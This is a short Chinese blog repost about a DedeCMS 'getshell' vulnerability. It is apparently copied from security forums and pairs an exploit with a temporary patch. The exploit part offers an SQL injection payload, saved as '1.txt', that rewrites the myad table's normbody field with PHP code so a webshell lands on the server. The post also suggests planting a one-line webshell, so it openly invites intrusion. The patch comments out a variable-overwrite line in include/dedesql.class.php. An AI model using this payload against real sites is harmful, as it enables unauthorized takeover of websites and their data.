Dedecms最新GetShell+临时补丁

dedecms最近太火了，只是哥测试了几个站没有一个成功的，所以也就没有上心了，今天在核总的站上面看了一个exp，getshell的，转过来凑个热闹。

其实getshell 方法很多 不要一直纠结 怎么插入 mytag 表 比如附近的myad表就是个好地方 update 个一句话啥的 不多说了 不多说了 直接给 getshell exp吧

要修改密码啥的 直接改 1.txt吧

#1.txt

myad` SET  normbody='axxxxx'');echo ''OK'';@fclose($fp);?>'  where aid =1 #

临时补丁:

不知道别的地方还有没有覆盖变量 反正这个漏洞是修复的 试了下 貌似不影响网站运行

include/dedesql.class.php

if(isset($GLOBALS['arrs1'])) 
    { 
        $v1 = $v2 = ''; 
        for($i=0;isset($arrs1[$i]);$i++) 
        { 
            $v1 .= chr($arrs1[$i]); 
        } 
        for($i=0;isset($arrs2[$i]);$i++) 
        { 
           // $v2 .= chr($arrs2[$i]);  //注释这里   
        } 
        $GLOBALS[$v1] .= $v2; 
    }

原文地址：

http://lcx.cc/?i=3569

http://zone.wooyun.org/content/4231

from www.waitalone.cn.thanks for it.